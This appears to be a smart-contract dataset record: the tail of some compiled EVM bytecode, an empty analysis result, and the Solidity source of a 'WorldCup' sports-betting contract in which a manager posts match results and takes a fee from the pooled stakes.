565b50505050905090810190601f1680156104c25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156104db57600080fd5b61052b600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612454565b005b341561053857600080fd5b610588600480803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061246e565b005b341561059557600080fd5b6105e5600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612488565b005b34156105f257600080fd5b6105fa6124a2565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561063a57808201518184015260208101905061061f565b50505050905090810190601f1680156106675780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561068057600080fd5b61068861254a565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156106c85780820151818401526020810190506106ad565b50505050905090810190601f1680156106f55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561070e57600080fd5b61075e600480803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506125f2565b005b341561076b57600080fd5b6107bb600480803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061260c565b005b34156107c857600080fd5b6107d0612626565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156108105780820151818401526020810190506107f5565b50505050905090810190601f16801561083d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561085657600080fd5b6108a6600480803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506126ce565b005b34156108b357600080fd5b610903600480803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506126e8565b005b341561091057600080fd5b610960600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612702565b005b341561096d57600080fd5b6109bd600480803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061271c565b005b34156109ca57600080fd5b610a1a600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612736565b005b3415610a2757600080fd5b610a77600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612750565b005b3415610a8457600080fd5b610a8c61276a565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610acc578082015181840152602081019050610ab1565b50505050905090810190601f168015610af95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415610b1257600080fd5b610b62600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612812565b005b3415610b6f57600080fd5b610bbf600480803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061282c565b005b3415610bcc57600080fd5b610c1c600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612846565b005b3415610c2957600080fd5b610c31612860565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610c71578082015181840152602081019050610c56565b50505050905090810190601f168015610c9e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415610cb757600080fd5b610cbf612908565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610cff578082015181840152602081019050610ce4565b50505050905090810190601f168015610d2c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415610d4557600080fd5b610d4d6129b0565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610d8d578082015181840152602081019050610d72565b50505050905090810190601f168015610dba5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415610dd357600080fd5b610ddb612a58565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610e1b578082015181840152602081019050610e00565b50505050905090810190601f168015610e485780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415610e6157600080fd5b610eb1600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612b00565b005b3415610ebe57600080fd5b610ec6612b1a565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610f06578082015181840152602081019050610eeb565b50505050905090810190601f168015610f335780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415610f4c57600080fd5b610f54612bc2565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610f94578082015181840152602081019050610f79565b50505050905090810190601f168015610fc15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415610fda57600080fd5b61102a600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612c6a565b005b341561103757600080fd5b611087600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612c84565b005b341561109457600080fd5b61109c612c9e565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156110dc5780820151818401526020810190506110c1565b50505050905090810190601f1680156111095780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561112257600080fd5b611172600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612d46565b005b341561117f57600080fd5b6111cf600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612d60565b005b34156111dc57600080fd5b61122c600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612d7a565b005b341561123957600080fd5b611241612d94565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015611281578082015181840152602081019050611266565b50505050905090810190601f1680156112ae5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156112c757600080fd5b6112cf612e3c565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561130f5780820151818401526020810190506112f4565b50505050905090810190601f16801561133c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561135557600080fd5b61135d612ee4565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561139d578082015181840152602081019050611382565b50505050905090810190601f1680156113ca5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156113e357600080fd5b6113eb612f8c565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561142b578082015181840152602081019050611410565b50505050905090810190601f1680156114585780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561147157600080fd5b6114c1600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050613034565b005b34156114ce57600080fd5b61151e600480803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061304e565b005b341561152b57600080fd5b61157b600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050613068565b005b341561158857600080fd5b6115d8600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050613082565b005b34156115e557600080fd5b611635600480803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061309c565b005b341561164257600080fd5b61164a613111565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561168a57808201518184015260208101905061166f565b50505050905090810190601f1680156116b75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156116d057600080fd5b611720600480803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506131b9565b005b341561172d57600080fd5b61177d600480803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506131d3565b005b341561178a57600080fd5b6117926131ed565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156117d25780820151818401526020810190506117b7565b50505050905090810190601f1680156117ff5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561181857600080fd5b611820613295565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015611860578082015181840152602081019050611845565b50505050905090810190601f16801561188d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156118a657600080fd5b6118ae61333d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156118ee5780820151818401526020810190506118d3565b50505050905090810190601f16801561191b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561193457600080fd5b61193c6133e5565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561197c578082015181840152602081019050611961565b50505050905090810190601f1680156119a95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156119c257600080fd5b6119ca61348d565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015611a0a5780820151818401526020810190506119ef565b50505050905090810190601f168015611a375780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415611a5057600080fd5b611aa0600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050613535565b005b3415611aad57600080fd5b611afd600480803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061354f565b005b3415611b0a57600080fd5b611b5a600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050613569565b005b3415611b6757600080fd5b611b6f613583565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015611baf578082015181840152602081019050611b94565b50505050905090810190601f168015611bdc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415611bf557600080fd5b611c45600480803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061362b565b005b3415611c5257600080fd5b611c5a613645565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015611c9a578082015181840152602081019050611c7f565b50505050905090810190601f168015611cc75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415611ce057600080fd5b611d30600480803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506136ed565b005b3415611d3d57600080fd5b611d45613707565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015611d85578082015181840152602081019050611d6a565b50505050905090810190601f168015611db25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415611dcb57600080fd5b611dd36137af565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015611e13578082015181840152602081019050611df8565b50505050905090810190601f168015611e405780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415611e5957600080fd5b611ea9600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050613857565b005b3415611eb657600080fd5b611ebe613871565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015611efe578082015181840152602081019050611ee3565b50505050905090810190601f168015611f2b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415611f4457600080fd5b611f4c613919565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015611f8c578082015181840152602081019050611f71565b50505050905090810190601f168015611fb95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415611fd257600080fd5b611fda6139c1565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561201a578082015181840152602081019050611fff565b50505050905090810190601f1680156120475780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561206057600080fd5b6120b0600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050613a69565b005b34156120bd57600080fd5b6120c5613a83565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156121055780820151818401526020810190506120ea565b50505050905090810190601f1680156121325780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561214b57600080fd5b612153613b2b565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015612193578082015181840152602081019050612178565b50505050905090810190601f1680156121c05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156121d957600080fd5b6121e1613bd3565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015612221578082015181840152602081019050612206565b50505050905090810190601f16801561224e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b612264613c7b565b60228054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156122fa5780601f106122cf576101008083540402835291602001916122fa565b820191906000526020600020905b8154815290600101906020018083116122dd57829003601f168201915b5050505050905090565b61230c613c7b565b60168054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156123a25780601f10612377576101008083540402835291602001916123a2565b820191906000526020600020905b81548152906001019060200180831161238557829003601f168201915b5050505050905090565b6123b4613c7b565b600a8054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561244a5780601f1061241f5761010080835404028352916020019161244a565b820191906000526020600020905b81548152906001019060200180831161242d57829003601f168201915b5050505050905090565b80601c908051906020019061246a929190613c8f565b5050565b80600d9080519060200190612484929190613c8f565b5050565b806013908051906020019061249e929190613c8f565b5050565b6124aa613c7b565b601c8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156125405780601f1061251557610100808354040283529160200191612540565b820191906000526020600020905b81548152906001019060200180831161252357829003601f168201915b5050505050905090565b612552613c7b565b60088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156125e85780601f106125bd576101008083540402835291602001916125e8565b820191906000526020600020905b8154815290600101906020018083116125cb57829003601f168201915b5050505050905090565b8060129080519060200190612608929190613c8f565b5050565b8060189080519060200190612622929190613c8f565b5050565b61262e613c7b565b601f8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156126c45780601f10612699576101008083540402835291602001916126c4565b820191906000526020600020905b8154815290600101906020018083116126a757829003601f168201915b5050505050905090565b80600390805190602001906126e4929190613c8f565b5050565b80600c90805190602001906126fe929190613c8f565b5050565b80600a9080519060200190612718929190613c8f565b5050565b8060179080519060200190612732929190613c8f565b5050565b806009908051906020019061274c929190613c8f565b5050565b8060019080519060200190612766929190613c8f565b5050565b612772613c7b565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156128085780601f106127dd57610100808354040283529160200191612808565b820191906000526020600020905b8154815290600101906020018083116127eb57829003601f168201915b5050505050905090565b8060069080519060200190612828929190613c8f565b5050565b80600e9080519060200190612842929190613c8f565b5050565b806019908051906020019061285c929190613c8f565b5050565b612868613c7b565b601d8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156128fe5780601f106128d3576101008083540402835291602001916128fe565b820191906000526020600020905b8154815290600101906020018083116128e157829003601f168201915b5050505050905090565b612910613c7b565b60078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156129a65780601f1061297b576101008083540402835291602001916129a6565b820191906000526020600020905b81548152906001019060200180831161298957829003601f168201915b5050505050905090565b6129b8613c7b565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612a4e5780601f10612a2357610100808354040283529160200191612a4e565b820191906000526020600020905b815481529060010190602001808311612a3157829003601f168201915b5050505050905090565b612a60613c7b565b60098054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612af65780601f10612acb57610100808354040283529160200191612af6565b820191906000526020600020905b815481529060010190602001808311612ad957829003601f168201915b5050505050905090565b8060049080519060200190612b16929190613c8f565b5050565b612b22613c7b565b60218054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612bb85780601f10612b8d57610100808354040283529160200191612bb8565b820191906000526020600020905b815481529060010190602001808311612b9b57829003601f168201915b5050505050905090565b612bca613c7b565b60118054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612c605780601f10612c3557610100808354040283529160200191612c60565b820191906000526020600020905b815481529060010190602001808311612c4357829003601f168201915b5050505050905090565b8060109080519060200190612c80929190613c8f565b5050565b8060029080519060200190612c9a929190613c8f565b5050565b612ca6613c7b565b600c8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612d3c5780601f10612d1157610100808354040283529160200191612d3c565b820191906000526020600020905b815481529060010190602001808311612d1f57829003601f168201915b5050505050905090565b8060159080519060200190612d5c929190613c8f565b5050565b80601d9080519060200190612d76929190613c8f565b5050565b8060209080519060200190612d90929190613c8f565b5050565b612d9c613c7b565b600e8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612e325780601f10612e0757610100808354040283529160200191612e32565b820191906000526020600020905b815481529060010190602001808311612e1557829003601f168201915b5050505050905090565b612e44613c7b565b60158054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612eda5780601f10612eaf57610100808354040283529160200191612eda565b820191906000526020600020905b815481529060010190602001808311612ebd57829003601f168201915b5050505050905090565b612eec613c7b565b60138054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612f825780601f10612f5757610100808354040283529160200191612f82565b820191906000526020600020905b815481529060010190602001808311612f6557829003601f168201915b5050505050905090565b612f94613c7b565b601b8054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561302a5780601f10612fff5761010080835404028352916020019161302a565b820191906000526020600020905b81548152906001019060200180831161300d57829003601f168201915b5050505050905090565b806008908051906020019061304a929190613c8f565b5050565b80601f9080519060200190613064929190613c8f565b5050565b80600b908051906020019061307e929190613c8f565b5050565b80600f9080519060200190613098929190613c8f565b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156130f757600080fd5b80601a908051906020019061310d929190613c8f565b5050565b613119613c7b565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156131af5780601f10613184576101008083540402835291602001916131af565b820191906000526020600020905b81548152906001019060200180831161319257829003601f168201915b5050505050905090565b80601b90805190602001906131cf929190613c8f565b5050565b80601190805190602001906131e9929190613c8f565b5050565b6131f5613c7b565b60038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561328b5780601f106132605761010080835404028352916020019161328b565b820191906000526020600020905b81548152906001019060200180831161326e57829003601f168201915b5050505050905090565b61329d613c7b565b601e8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156133335780601f1061330857610100808354040283529160200191613333565b820191906000526020600020905b81548152906001019060200180831161331657829003601f168201915b5050505050905090565b613345613c7b565b60198054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156133db5780601f106133b0576101008083540402835291602001916133db565b820191906000526020600020905b8154815290600101906020018083116133be57829003601f168201915b5050505050905090565b6133ed613c7b565b600d8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156134835780601f1061345857610100808354040283529160200191613483565b820191906000526020600020905b81548152906001019060200180831161346657829003601f168201915b5050505050905090565b613495613c7b565b60148054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561352b5780601f106135005761010080835404028352916020019161352b565b820191906000526020600020905b81548152906001019060200180831161350e57829003601f168201915b5050505050905090565b806005908051906020019061354b929190613c8f565b5050565b8060229080519060200190613565929190613c8f565b5050565b80601e908051906020019061357f929190613c8f565b5050565b61358b613c7b565b600f8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156136215780601f106135f657610100808354040283529160200191613621565b820191906000526020600020905b81548152906001019060200180831161360457829003601f168201915b5050505050905090565b8060219080519060200190613641929190613c8f565b5050565b61364d613c7b565b60188054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156136e35780601f106136b8576101008083540402835291602001916136e3565b820191906000526020600020905b8154815290600101906020018083116136c657829003601f168201915b5050505050905090565b8060149080519060200190613703929190613c8f565b5050565b61370f613c7b565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156137a55780601f1061377a576101008083540402835291602001916137a5565b820191906000526020600020905b81548152906001019060200180831161378857829003601f168201915b5050505050905090565b6137b7613c7b565b601a8054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561384d5780601f106138225761010080835404028352916020019161384d565b820191906000526020600020905b81548152906001019060200180831161383057829003601f168201915b5050505050905090565b806016908051906020019061386d929190613c8f565b5050565b613879613c7b565b60108054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561390f5780601f106138e45761010080835404028352916020019161390f565b820191906000526020600020905b8154815290600101906020018083116138f257829003601f168201915b5050505050905090565b613921613c7b565b60128054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156139b75780601f1061398c576101008083540402835291602001916139b7565b820191906000526020600020905b81548152906001019060200180831161399a57829003601f168201915b5050505050905090565b6139c9613c7b565b60208054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015613a5f5780601f10613a3457610100808354040283529160200191613a5f565b820191906000526020600020905b815481529060010190602001808311613a4257829003601f168201915b5050505050905090565b8060079080519060200190613a7f929190613c8f565b5050565b613a8b613c7b565b60178054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015613b215780601f10613af657610100808354040283529160200191613b21565b820191906000526020600020905b815481529060010190602001808311613b0457829003601f168201915b5050505050905090565b613b33613c7b565b600b8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015613bc95780601f10613b9e57610100808354040283529160200191613bc9565b820191906000526020600020905b815481529060010190602001808311613bac57829003601f168201915b5050505050905090565b613bdb613c7b565b60048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015613c715780601f10613c4657610100808354040283529160200191613c71565b820191906000526020600020905b815481529060010190602001808311613c5457829003601f168201915b5050505050905090565b602060405190810160405280600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10613cd057805160ff1916838001178555613cfe565b82800160010185558215613cfe579182015b82811115613cfd578251825591602001919060010190613ce2565b5b509050613d0b9190613d0f565b5090565b613d3191905b80821115613d2d576000816000905550600101613d15565b5090565b905600a165627a7a723058203eb4bd06714ec6c9aa6920c44488951c0e4c4a2df4f3c17223ff11f68a31d3230029
{"success": true, "error": null, "results": {}}
7,296
0x4342cc6763de448927cbae70eb56ec783d2ce00d
pragma solidity ^0.4.23; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ contract SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title MultiOwnable * @dev The MultiOwnable contract has owners addresses and provides basic authorization control * functions, this simplifies the implementation of "users permissions". */ contract MultiOwnable { address public manager; // address used to set owners address[] public owners; mapping(address => bool) public ownerByAddress; event SetManager(address manager); event SetOwners(address[] owners); modifier onlyOwner() { require(ownerByAddress[msg.sender] == true); _; } modifier onlyManager() { require(msg.sender == manager); _; } /** * @dev MultiOwnable constructor sets the manager */ constructor() public { manager = msg.sender; } /** * @dev Function to set owners addresses */ function setOwners(address[] _owners) onlyManager public { _setOwners(_owners); } function _setOwners(address[] _owners) internal { for(uint256 i = 0; i < owners.length; i++) { ownerByAddress[owners[i]] = false; } for(uint256 j = 0; j < _owners.length; j++) { ownerByAddress[_owners[j]] = true; } owners = _owners; emit SetOwners(_owners); } function getOwners() public constant returns (address[]) { return owners; } function setManager(address _manager) onlyManager public { manager = _manager; emit SetManager(_manager); } } contract WorldCup is MultiOwnable, SafeMath { enum Result {Unknown, HomeWin, HomeDraw, HomeLoss} // Data Struct struct Match { bool created; // Match Info string team; string teamDetail; int32 pointSpread; uint64 startTime; uint64 endTime; // Current Stakes uint256 stakesOfWin; uint256 stakesOfDraw; uint256 stakesOfLoss; // Result Result result; } struct Prediction { Result result; uint256 stake; bool withdraw; } // Storage uint public numMatches; mapping(uint => Match) public matches; mapping(uint => mapping(address => Prediction)) public predictions; uint256 public rate; // Event event NewMatch(uint indexed id, string team, string detail, int32 spread, uint64 start, uint64 end); event MatchInfo(uint indexed id, string detail); event MatchResult(uint indexed id, Result result, uint256 fee); event Bet(address indexed user, uint indexed id, Result result, uint256 stake, uint256 stakesOfWin, uint256 stakesOfDraw, uint256 stakesOfLoss); event Withdraw(address indexed user, uint indexed id, uint256 bonus); modifier validId(uint _id) { require(matches[_id].created == true); _; } modifier validResult(Result _result) { require(_result == Result.HomeWin || _result == Result.HomeDraw || _result == Result.HomeLoss); _; } constructor() public { rate = 20; // 5% } // For Owner & Manager function createMatch(uint _id, string _team, string _teamDetail, int32 _pointSpread, uint64 _startTime, uint64 _endTime) onlyOwner public { require(_startTime < _endTime); require(matches[_id].created == false); // Create new match Match memory _match = Match({ created:true, team: _team, teamDetail: _teamDetail, pointSpread: _pointSpread, startTime: _startTime, endTime: _endTime, stakesOfWin: 0, stakesOfDraw: 0, stakesOfLoss: 0, result: Result.Unknown }); // Insert into matches matches[_id] = _match; numMatches++; // Set event emit NewMatch(_id, _team, _teamDetail, _pointSpread, _startTime, _endTime); } function updateMatchInfo(uint _id, string _teamDetail, uint64 _startTime, uint64 _endTime) onlyOwner validId(_id) public { // Update match info if (bytes(_teamDetail).length > 0) { matches[_id].teamDetail = _teamDetail; } if (_startTime != 0) { matches[_id].startTime = _startTime; } if (_endTime != 0) { matches[_id].endTime = _endTime; } // Set event emit MatchInfo(_id, _teamDetail); } function announceMatchResult(uint _id, Result _result) onlyManager validId(_id) validResult(_result) public { // Check current result require(matches[_id].result == Result.Unknown); // Update result matches[_id].result = _result; // Calculate bonus and fee uint256 bonus; uint256 fee; Match storage _match = matches[_id]; if (_result == Result.HomeWin) { bonus = add(_match.stakesOfDraw, _match.stakesOfLoss); if (_match.stakesOfWin > 0) { fee = div(bonus, rate); } else { fee = bonus; } } else if (_result == Result.HomeDraw) { bonus = add(_match.stakesOfWin, _match.stakesOfLoss); if (_match.stakesOfDraw > 0) { fee = div(bonus, rate); } else { fee = bonus; } } else if (_result == Result.HomeLoss) { bonus = add(_match.stakesOfWin, _match.stakesOfDraw); if (_match.stakesOfLoss > 0) { fee = div(bonus, rate); } else { fee = bonus; } } address thiz = address(this); require(thiz.balance >= fee); manager.transfer(fee); // Set event emit MatchResult(_id, _result, fee); } // For Player function bet(uint _id, Result _result) validId(_id) validResult(_result) public payable { // Check value require(msg.value > 0); // Check match state Match storage _match = matches[_id]; require(_match.result == Result.Unknown); require(_match.startTime <= now); require(_match.endTime >= now); // Update matches if (_result == Result.HomeWin) { _match.stakesOfWin = add(_match.stakesOfWin, msg.value); } else if (_result == Result.HomeDraw) { _match.stakesOfDraw = add(_match.stakesOfDraw, msg.value); } else if (_result == Result.HomeLoss) { _match.stakesOfLoss = add(_match.stakesOfLoss, msg.value); } // Update predictions Prediction storage _prediction = predictions[_id][msg.sender]; if (_prediction.result == Result.Unknown) { _prediction.stake = msg.value; _prediction.result = _result; } else { require(_prediction.result == _result); _prediction.stake = add(_prediction.stake, msg.value); } // Set event emit Bet(msg.sender, _id, _result, msg.value, _match.stakesOfWin, _match.stakesOfDraw, _match.stakesOfLoss); } function getBonus(uint _id, address addr) validId(_id) public view returns (uint256) { // Get match state Match storage _match = matches[_id]; if (_match.result == Result.Unknown) { return 0; } // Get prediction state Prediction storage _prediction = predictions[_id][addr]; if (_prediction.result == Result.Unknown) { return 0; } // Check result if (_match.result != _prediction.result) { return 0; } // Calculate bonus uint256 bonus = _calcBouns(_match, _prediction); bonus = add(bonus, _prediction.stake); return bonus; } function withdraw(uint _id) validId(_id) public { // Check match state Match storage _match = matches[_id]; require(_match.result != Result.Unknown); // Check prediction state Prediction storage _prediction = predictions[_id][msg.sender]; require(_prediction.result != Result.Unknown); require(_prediction.stake > 0); require(_prediction.withdraw == false); _prediction.withdraw = true; // Check result require(_prediction.result == _match.result); // Calc bonus uint256 bonus = _calcBouns(_match, _prediction); bonus = add(bonus, _prediction.stake); address thiz = address(this); require(thiz.balance >= bonus); msg.sender.transfer(bonus); // Set event emit Withdraw(msg.sender, _id, bonus); } function _calcBouns(Match storage _match, Prediction storage _prediction) internal view returns (uint256) { uint256 bonus; if (_match.result != _prediction.result) { return 0; } if (_match.result == Result.HomeWin && _match.stakesOfWin > 0) { bonus = add(_match.stakesOfDraw, _match.stakesOfLoss); bonus = sub(bonus, div(bonus, rate)); bonus = div(mul(_prediction.stake, bonus), _match.stakesOfWin); } else if (_match.result == Result.HomeDraw && _match.stakesOfDraw > 0 ) { bonus = add(_match.stakesOfWin, _match.stakesOfLoss); bonus = sub(bonus, div(bonus, rate)); bonus = div(mul(_prediction.stake, bonus), _match.stakesOfDraw); } else if (_match.result == Result.HomeLoss && _match.stakesOfLoss > 0) { bonus = add(_match.stakesOfWin, _match.stakesOfDraw); bonus = sub(bonus, div(bonus, rate)); bonus = div(mul(_prediction.stake, bonus), _match.stakesOfLoss); } return bonus; } }
